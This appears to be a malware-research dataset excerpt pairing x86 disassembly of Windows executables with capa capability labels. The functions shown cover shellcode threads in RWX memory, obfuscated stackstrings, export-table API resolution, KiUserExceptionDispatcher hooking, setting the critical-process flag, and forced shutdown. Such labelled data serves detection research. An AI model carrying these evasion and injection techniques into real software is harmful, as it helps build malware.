joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword fs:[0x30]
mov ecx, dword [eax + 0xc]
push ebx
push esi
mov esi, dword [ecx + 0x18]
sub esi, 8
push edi
mov dword [ebp - 4], esi
mov dword [ebp - 8], esi
mov edi, edi
mov eax, dword [esi + 0x30]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x401026
sub eax, edx
sar eax, 1
xor ecx, ecx
inc eax
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00407066
mov ebx, eax
mov eax, dword [esi + 0x30]
add esp, 4
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x401057
sub eax, edx
sar eax, 1
xor ecx, ecx
mov word [ebx + eax*2], cx
mov edx, dword [esi + 0x30]
movzx eax, word [edx]
xor edi, edi
test ax, ax
je 0x4010a5
xor esi, esi
jmp 0x401080
movzx eax, ax
push eax
call fcn.00406f98
mov ecx, dword [ebp - 4]
mov word [esi + ebx], ax
mov edx, dword [ecx + 0x30]
inc edi
lea esi, [edi + edi]
movzx eax, word [esi + edx]
add esp, 4
test ax, ax
jne 0x401080
mov esi, ecx
cmp dword [esi + 0x18], 0
je 0x4010cd
xor eax, eax
cmp word [ebx], 0x4b
jne 0x4010cd
mov ecx, 0x4b
test cx, cx
je 0x4010e2
movzx ecx, word [ebx + eax*2 + 2]
inc eax
cmp cx, word [eax*2 + 0x411c84]
je 0x4010b8
mov eax, dword [esi + 0xc]
sub eax, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 8], eax
je 0x4010ec
mov esi, eax
jmp 0x401020
mov eax, dword [esi + 0x18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401100
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
sub esp, 0x14
push ebx
push esi
push edi
test eax, eax
je 0x4012c0
mov edi, dword [ebp + 0xc]
mov ecx, dword [eax + 0x3c]
add ecx, eax
mov dword [ebp - 0x14], ecx
mov ecx, dword [ecx + 0x78]
mov edx, dword [ecx + eax + 0x1c]
mov esi, dword [ecx + eax + 0x24]
mov ebx, dword [ecx + eax + 0x20]
add ecx, eax
add edx, eax
mov dword [ebp - 0xc], edx
lea edx, [esi + eax]
mov dword [ebp - 8], edx
xor edx, edx
add ebx, eax
mov dword [ebp + 8], edx
test edi, 0xffff0000
jne 0x401180
sub edi, dword [ecx + 0x10]
test esi, esi
je 0x4011f4
mov ecx, dword [ebp - 8]
movsx ecx, word [ecx + edx*2]
add ecx, eax
and ecx, 0xffff
cmp edi, ecx
je 0x401172
inc edx
cmp edx, esi
jb 0x401155
jmp 0x4011f1
mov edx, dword [ebp - 0xc]
and ecx, 0xffff
mov ecx, dword [edx + ecx*4]
jmp 0x4011ec
mov ecx, dword [ecx + 0x18]
mov dword [ebp - 4], edx
mov dword [ebp - 0x10], ecx
test ecx, ecx
je 0x4011f4
lea ecx, [ecx]
mov ecx, dword [ebp - 4]
mov ecx, dword [ebx + ecx*4]
mov esi, edi
add ecx, eax
lea ebx, [ebx]
mov dl, byte [ecx]
cmp dl, byte [esi]
jne 0x4011c0
test dl, dl
je 0x4011bc
mov dl, byte [ecx + 1]
cmp dl, byte [esi + 1]
jne 0x4011c0
add ecx, 2
add esi, 2
test dl, dl
jne 0x4011a0
xor ecx, ecx
jmp 0x4011c5
sbb ecx, ecx
sbb ecx, 0xffffffff
test ecx, ecx
mov ecx, dword [ebp - 4]
je 0x4011d7
inc ecx
mov dword [ebp - 4], ecx
cmp ecx, dword [ebp - 0x10]
jb 0x401190
jmp 0x4011f1
mov edx, dword [ebp - 8]
movsx edx, word [edx + ecx*2]
mov ecx, dword [ebp - 0xc]
add edx, eax
and edx, 0xffff
mov ecx, dword [ecx + edx*4]
add ecx, eax
mov dword [ebp + 8], ecx
mov edx, dword [ebp + 8]
mov esi, dword [ebp - 0x14]
mov ecx, dword [esi + 0x78]
add ecx, eax
cmp edx, ecx
jbe 0x4012c9
mov eax, dword [esi + 0x7c]
add eax, ecx
cmp edx, eax
jae 0x4012c9
cmp byte [edx], 0x2e
mov edi, edx
je 0x401228
mov cl, byte [edi]
inc edi
test cl, cl
je 0x401226
cmp byte [edi], 0x2e
jne 0x401218
jmp 0x401228
xor edi, edi
sub edi, edx
inc edi
push edi
call fcn.00406d5c
mov edx, eax
mov eax, dword [ebp + 8]
lea ecx, [edi - 1]
add esp, 4
mov dword [ebp - 0x14], edx
test ecx, ecx
je 0x401253
mov esi, edx
sub esi, eax
mov bl, byte [eax]
mov byte [esi + eax], bl
inc eax
dec ecx
jne 0x401247
mov eax, dword [ebp + 8]
mov byte [edx + edi - 1], 0
lea ecx, [eax + 1]
jmp 0x401260
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401260
sub eax, ecx
sub eax, edi
mov esi, eax
lea edx, [esi + 1]
push edx
call fcn.00406d5c
mov ebx, eax
mov eax, dword [ebp + 8]
add esp, 4
add eax, edi
mov ecx, esi
test esi, esi
je 0x401299
mov edi, ebx
sub edi, eax
lea ebx, [ebx]
mov dl, byte [eax]
mov byte [edi + eax], dl
inc eax
dec ecx
jne 0x401290
mov eax, dword [0x414a3c]
push str.LoadLibraryA
push eax
mov byte [ebx + esi], 0
call fcn.00401100
mov ecx, dword [ebp - 0x14]
add esp, 8
push ecx
mov edi, ebx
call eax
test eax, eax
jne 0x401117
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
mov eax, edx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40689a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x413020]
jne 0x4068a4
repz ret
jmp fcn.004076da

Function at 0x40a5fc
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x413020]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040899e
and dword [ebp - 0x14], 0
cmp dword [0x414968], 0
mov dword [ebp - 0x18], eax
jne 0x40a6af
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40a757
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x40a757
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x414968], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x41496c], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x414970], eax
call edi
push eax
call esi
mov dword [0x414978], eax
test eax, eax
je 0x40a6af
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x414974], eax
mov eax, dword [0x414974]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40a708
cmp dword [0x414978], ecx
je 0x40a708
push eax
call esi
push dword [0x414978]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40a708
test ebx, ebx
je 0x40a708
call edi
test eax, eax
je 0x40a6ff
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40a6ff
test byte [ebp - 8], 1
jne 0x40a708
or dword [ebp + 0x10], 0x200000
jmp 0x40a73b
mov eax, dword [0x41496c]
cmp eax, dword [ebp - 0x18]
je 0x40a73b
push eax
call esi
test eax, eax
je 0x40a73b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40a73b
mov eax, dword [0x414970]
cmp eax, dword [ebp - 0x18]
je 0x40a73b
push eax
call esi
test eax, eax
je 0x40a73b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x414968]
call esi
test eax, eax
je 0x40a757
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40a759
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040689a
leave
ret
Function at 0x401790
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x63fbf0]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, ecx
test edi, edi
je 0x4018aa
push ebx
push esi
push 0x40
push 0x3000
push 0x18
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x18]
push ecx
mov dword [ebp - 0x18], 0x6c64746e
mov dword [ebp - 0x14], 0x6c642e6c
mov word [ebp - 0x10], 0x6c
mov dword [ebp - 0x38], 0x436c7452
mov dword [ebp - 0x34], 0x75706d6f
mov dword [ebp - 0x30], 0x72436574
mov dword [ebp - 0x2c], 0x323363
call fcn.00560f90
mov dword [esi], eax
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0x28]
push eax
mov dword [ebp - 0x28], 0x6e72656b
mov dword [ebp - 0x24], 0x32336c65
mov dword [ebp - 0x20], 0x6c6c642e
mov byte [ebp - 0x1c], 0
mov dword [ebp - 0xc], 0x65656c53
mov word [ebp - 8], 0x70
call fcn.00560f90
mov ecx, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
mov dword [esi + 4], eax
mov eax, 0x4010c0
mov dword [esi + 0xc], edi
mov dword [esi + 0x10], ecx
mov dword [esi + 0x14], edx
mov dword [esi + 8], 0x401630
xor ebx, ebx
cmp dword [eax], 0xaaaaaaaa
je 0x401870
mov eax, 0x4010c0
inc eax
inc ebx
cmp dword [eax], 0xaaaaaaaa
jne 0x401866
push 0x40
push 0x3000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push ebx
mov edi, eax
push 0x4010c0
push edi
call fcn.0054d0a0
add esp, 0xc
push 0
push 0
push esi
push edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.00544a28
mov esp, ebp
pop ebp
ret
Function at 0x4018c0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [0x63fbf0]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x3c]
movzx ecx, word [eax + edx + 0x14]
push esi
lea esi, [ecx + eax + 0x18]
movzx ecx, word [eax + edx + 6]
test ecx, ecx
je 0x401a6f
push ebx
lea eax, [esi + edx + 0x24]
push edi
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x44], ecx
mov bl, 0x6c
jmp 0x401900
mov ecx, dword [eax]
test ecx, 0x20000000
je 0x401a5e
test ecx, 0x40000000
je 0x401a5e
test cl, 0x20
je 0x401a5e
test ecx, 0x2000000
jne 0x401a5e
mov edi, dword [eax - 0x18]
add edi, edx
mov ecx, dword [eax - 0x1c]
mov dword [ebp - 0x3c], ecx
je 0x401a5e
push 0x40
push 0x3000
push 0x18
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
lea edx, [ebp - 0x38]
mov esi, eax
push edx
lea eax, [ebp - 0x18]
push eax
mov word [ebp - 0x18], 0x746e
mov byte [ebp - 0x16], 0x64
mov byte [ebp - 0x15], bl
mov byte [ebp - 0x14], bl
mov word [ebp - 0x13], 0x642e
mov byte [ebp - 0x11], bl
mov byte [ebp - 0x10], bl
mov byte [ebp - 0xf], 0
mov word [ebp - 0x38], 0x7452
mov byte [ebp - 0x36], bl
mov dword [ebp - 0x35], 0x706d6f43
mov dword [ebp - 0x31], 0x43657475
mov dword [ebp - 0x2d], 0x32336372
mov byte [ebp - 0x29], 0
call fcn.00560f90
mov dword [esi], eax
lea ecx, [ebp - 0xc]
push ecx
lea edx, [ebp - 0x28]
push edx
mov dword [ebp - 0x28], 0x6e72656b
mov byte [ebp - 0x24], 0x65
mov byte [ebp - 0x23], bl
mov dword [ebp - 0x22], 0x642e3233
mov byte [ebp - 0x1e], bl
mov byte [ebp - 0x1d], bl
mov byte [ebp - 0x1c], 0
mov byte [ebp - 0xc], 0x53
mov byte [ebp - 0xb], bl
mov dword [ebp - 0xa], 0x706565
call fcn.00560f90
mov ecx, dword [ebp + 0xc]
mov dword [esi + 4], eax
mov eax, dword [ebp - 0x3c]
mov dword [esi + 0x10], eax
mov dword [esi + 0xc], edi
mov eax, 0x4010c0
mov dword [esi + 0x14], ecx
mov dword [esi + 8], 0x401630
xor edi, edi
cmp dword [eax], 0xaaaaaaaa
je 0x401a1c
mov eax, 0x4010c0
inc eax
inc edi
cmp dword [eax], 0xaaaaaaaa
jne 0x401a12
push 0x40
push 0x3000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push edi
push 0x4010c0
push eax
mov dword [ebp - 0x3c], eax
call fcn.0054d0a0
mov edx, dword [ebp - 0x3c]
add esp, 0xc
push 0
push 0
push esi
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp + 8]
add eax, 0x28
dec dword [ebp - 0x44]
mov dword [ebp - 0x40], eax
jne 0x401900
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00544a28
mov esp, ebp
pop ebp
ret
Function at 0x4021d0
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov eax, dword [0x63fbf0]
xor eax, ebp
mov dword [ebp - 4], eax
mov al, 0x65
push ebx
mov byte [ebp - 0x10], al
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x14]
push ecx
mov dword [ebp - 0x14], 0x6e72656b
mov dword [ebp - 0xf], 0x2e32336c
mov dword [ebp - 0xb], 0x6c6c64
mov dword [ebp - 0x34], 0x64616f4c
mov dword [ebp - 0x30], 0x7262694c
mov dword [ebp - 0x2c], 0x41797261
mov byte [ebp - 0x28], 0
call fcn.00560f90
lea edx, [ebp - 0x24]
mov dword [0x64d8b4], eax
push edx
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 0x24], 0x64616f4c
mov dword [ebp - 0x20], 0x7262694c
mov dword [ebp - 0x1c], 0x57797261
mov byte [ebp - 0x18], 0
call fcn.00560f90
lea ecx, [ebp - 0x44]
push ecx
lea edx, [ebp - 0x14]
push edx
mov dword [0x64d8b8], eax
mov dword [ebp - 0x44], 0x64616f4c
mov dword [ebp - 0x40], 0x7262694c
mov dword [ebp - 0x3c], 0x45797261
mov word [ebp - 0x38], 0x4178
mov byte [ebp - 0x36], 0
call fcn.00560f90
mov dword [0x64d8bc], eax
lea eax, [ebp - 0x54]
push eax
lea ecx, [ebp - 0x14]
push ecx
mov dword [ebp - 0x54], 0x64616f4c
mov dword [ebp - 0x50], 0x7262694c
mov dword [ebp - 0x4c], 0x45797261
mov word [ebp - 0x48], 0x5778
mov byte [ebp - 0x46], 0
call fcn.00560f90
push 0
push 0
push 0
push 0x401ff0
push 0
push 0
mov dword [0x64d8c0], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00544a28
mov esp, ebp
pop ebp
ret
Function at 0x402da0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x63fbf0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x64d8d0], 0
jne 0x402e33
cmp byte [0x64d8d1], 0
mov al, 1
mov byte [0x64d8d0], al
jne 0x402dd9
push 0x64d528
mov byte [0x64d8d1], al
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
call fcn.00402800
call fcn.00402e50
mov dword [0x64d8cc], eax
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x10]
push ecx
mov dword [ebp - 0x10], 0x6e72656b
mov dword [ebp - 0xc], 0x32336c65
mov byte [ebp - 8], 0
mov dword [ebp - 0x20], 0x6f577349
mov dword [ebp - 0x1c], 0x50343677
mov dword [ebp - 0x18], 0x65636f72
mov word [ebp - 0x14], 0x7373
mov byte [ebp - 0x12], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x64d8c8], eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00544a28
mov esp, ebp
pop ebp
ret

Function at 0x402e50
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x63fbf0]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0x10]
push ecx
mov dword [ebp - 0x10], 0x6e72656b
mov dword [ebp - 0xc], 0x32336c65
mov byte [ebp - 8], 0
mov dword [ebp - 0x24], 0x4e746547
mov dword [ebp - 0x20], 0x76697461
mov dword [ebp - 0x1c], 0x73795365
mov dword [ebp - 0x18], 0x496d6574
mov dword [ebp - 0x14], 0x6f666e
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x402ef7
xor ecx, ecx
lea edx, [ebp - 0x48]
push edx
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], ecx
call eax
mov eax, dword [ebp - 0x48]
cmp ax, 6
je 0x402ee4
cmp ax, 9
jne 0x402ef7
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00544a28
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
call fcn.00544a28
mov esp, ebp
pop ebp
ret
Function at 0x403ac0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
mov eax, dword [0x63fbf0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
xor ecx, ecx
push 0x7e
xor eax, eax
push ecx
lea edx, [ebp - 0x8a]
push edx
mov dword [ebp - 0x90], esi
mov word [ebp - 0xc], ax
mov dword [ebp - 0xa], eax
mov word [ebp - 6], ax
mov word [ebp - 0x8c], cx
call fcn.0054b8b0
add esp, 0xc
test ebx, ebx
je 0x403bca
test esi, esi
je 0x403bca
push edi
mov edi, 0x41
mov edi, edi
push 0x40
lea ecx, [ebp - 0x8c]
push ecx
lea edx, [ebp - 0xc]
mov eax, 0x3a
push edx
mov word [ebp - 0xc], di
mov word [ebp - 0xa], ax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x403b76
lea eax, [ebp - 0x8c]
lea edx, [eax + 2]
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x403b50
sub eax, edx
sar eax, 1
mov esi, eax
push esi
lea eax, [ebp - 0x8c]
push ebx
push eax
call fcn.005454ab
add esp, 0xc
test eax, eax
je 0x403b90
inc edi
cmp di, 0x5b
jl 0x403b20
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00544a28
mov esp, ebp
pop ebp
ret
mov edi, dword [ebp - 0x90]
lea ecx, [ebp - 0xc]
push ecx
push 0x104
push edi
call fcn.00545549
lea edx, [ebx + esi*2]
push edx
push 0x104
push edi
call fcn.005455ac
add esp, 0x18
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00544a28
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
xor al, al
pop ebx
call fcn.00544a28
mov esp, ebp
pop ebp
ret
Function at 0x404620
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x63fbf0]
xor eax, ebp
mov dword [ebp - 4], eax
call fcn.00402da0
xor eax, eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x40]
push eax
push 0x28
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4046c9
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x2c]
push ecx
push 0
mov dword [ebp - 0x2c], 0x650053
mov dword [ebp - 0x28], 0x680053
mov dword [ebp - 0x24], 0x740075
mov dword [ebp - 0x20], 0x6f0064
mov dword [ebp - 0x1c], 0x6e0077
mov dword [ebp - 0x18], 0x720050
mov dword [ebp - 0x14], 0x760069
mov dword [ebp - 0x10], 0x6c0069
mov dword [ebp - 0xc], 0x670065
mov dword [ebp - 8], 0x65
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x4046d9
mov edx, dword [ebp - 0x40]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00544a28
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x40]
push 0
push 0
push 0x10
lea eax, [ebp - 0x3c]
push eax
push 0
push ecx
mov dword [ebp - 0x3c], 1
mov dword [ebp - 0x30], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x4046bf
mov eax, dword [ebp - 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 1
call fcn.00544a28
mov esp, ebp
pop ebp
ret

Function at 0x404720
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x63fbf0]
xor eax, ebp
mov dword [ebp - 4], eax
call fcn.00402da0
push 0x110
lea eax, [ebp - 0x11c]
push 0
push eax
call fcn.0054b8b0
add esp, 0xc
lea ecx, [ebp - 0x120]
push ecx
mov dword [ebp - 0x120], 0x114
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
jne 0x404777
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00544a28
mov esp, ebp
pop ebp
ret
cmp dword [ebp - 0x110], 2
jne 0x404785
call fcn.00404620
push 0
push 6
call dword [sym.imp.USER32.dll_ExitWindowsEx]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00544a28
mov esp, ebp
pop ebp
ret
Function at 0x4047a0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x63fbf0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
call fcn.00402da0
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x10]
push ecx
mov dword [ebp - 0x10], 0x6c64746e
mov dword [ebp - 0xc], 0x6c642e6c
mov word [ebp - 8], 0x6c
mov dword [ebp - 0x28], 0x6553744e
mov dword [ebp - 0x24], 0x666e4974
mov dword [ebp - 0x20], 0x616d726f
mov dword [ebp - 0x1c], 0x6e6f6974
mov dword [ebp - 0x18], 0x636f7250
mov dword [ebp - 0x14], 0x737365
call fcn.00560f90
mov esi, eax
test esi, esi
jne 0x404818
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00544a28
mov esp, ebp
pop ebp
ret
lea edx, [ebp - 0x29]
push edx
push 0
push 1
push 0x14
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
test eax, eax
jne 0x404807
push 4
lea eax, [ebp + 8]
push eax
push 0x1d
push edi
call esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 1
pop esi
call fcn.00544a28
mov esp, ebp
pop ebp
ret

Function at 0x404f00
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x63fbf0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
lea eax, [ebp - 0x29]
push eax
xor edi, edi
push edi
push 1
push 0x14
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea ecx, [ebp - 0x28]
push ecx
lea edx, [ebp - 0xc]
push edx
mov dword [ebp - 0xc], 0x6c64746e
mov word [ebp - 8], 0x6c
mov dword [ebp - 0x28], 0x7355694b
mov dword [ebp - 0x24], 0x78457265
mov dword [ebp - 0x20], 0x74706563
mov dword [ebp - 0x1c], 0x446e6f69
mov dword [ebp - 0x18], 0x61707369
mov dword [ebp - 0x14], 0x65686374
mov word [ebp - 0x10], 0x72
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x404fce
mov al, 0x53
lea ecx, [ecx]
cmp byte [esi], 0xe8
jne 0x404f8a
cmp byte [esi - 1], al
je 0x404f8d
inc esi
jmp 0x404f80
mov eax, dword [esi + 1]
lea edx, [ebp - 0x30]
push edx
push 0x40
push 0x1000
lea ecx, [esi + eax + 5]
push esi
mov dword [0x64d8e0], ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, 0x404eb0
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
pop edi
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00544a28
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
xor ecx, ebp
pop esi
call fcn.00544a28
mov esp, ebp
pop ebp
ret
Function at 0x404ff0
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x63fbf0]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push esi
mov esi, 5
mov dword [ebp - 0x24], eax
cmp dword [0x64d8e4], eax
jne 0x405015
xor esi, esi
cmp dword [0x64d8e8], eax
jne 0x405022
mov esi, 1
cmp dword [0x64d8ec], eax
jne 0x40502f
mov esi, 2
cmp dword [0x64d8f0], eax
jne 0x40508c
mov esi, 3
push ebx
mov ebx, dword [ebp + 8]
push edi
mov dword [esi*4 + 0x64d8e4], ebx
mov dword [esi*4 + 0x64d8f4], 0x405510
mov dword [esi*4 + 0x64d904], eax
cmp ecx, eax
je 0x4050a2
push ecx
push eax
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
test edi, edi
je 0x405161
push ebx
mov ecx, esi
call fcn.00404e00
add esp, 4
mov dword [ebp - 0x24], 1
jmp 0x405161
cmp esi, 4
jl 0x40503c
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00544a28
mov esp, ebp
pop ebp
ret
push eax
push 4
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
xor eax, eax
mov dword [ebp - 0x28], edi
cmp edi, 0xffffffff
je 0x40516b
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
lea eax, [ebp - 0x20]
push eax
push edi
mov dword [ebp - 0x20], 0x1c
call dword [sym.imp.KERNEL32.dll_Thread32First]
mov ebx, eax
test ebx, ebx
je 0x405161
lea ecx, [ecx]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [ebp - 0x14], eax
jne 0x40514b
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ecx, dword [ebp - 0x18]
cmp ecx, eax
je 0x40514b
push ecx
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
test edi, edi
je 0x40515a
mov ecx, dword [ebp + 8]
push ecx
mov ecx, esi
call fcn.00404e00
add esp, 4
push edi
mov dword [ebp - 0x24], 1
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0x28]
lea edx, [ebp - 0x20]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_Thread32Next]
mov ebx, eax
jmp 0x40515d
mov edi, dword [ebp - 0x28]
test ebx, ebx
jne 0x405100
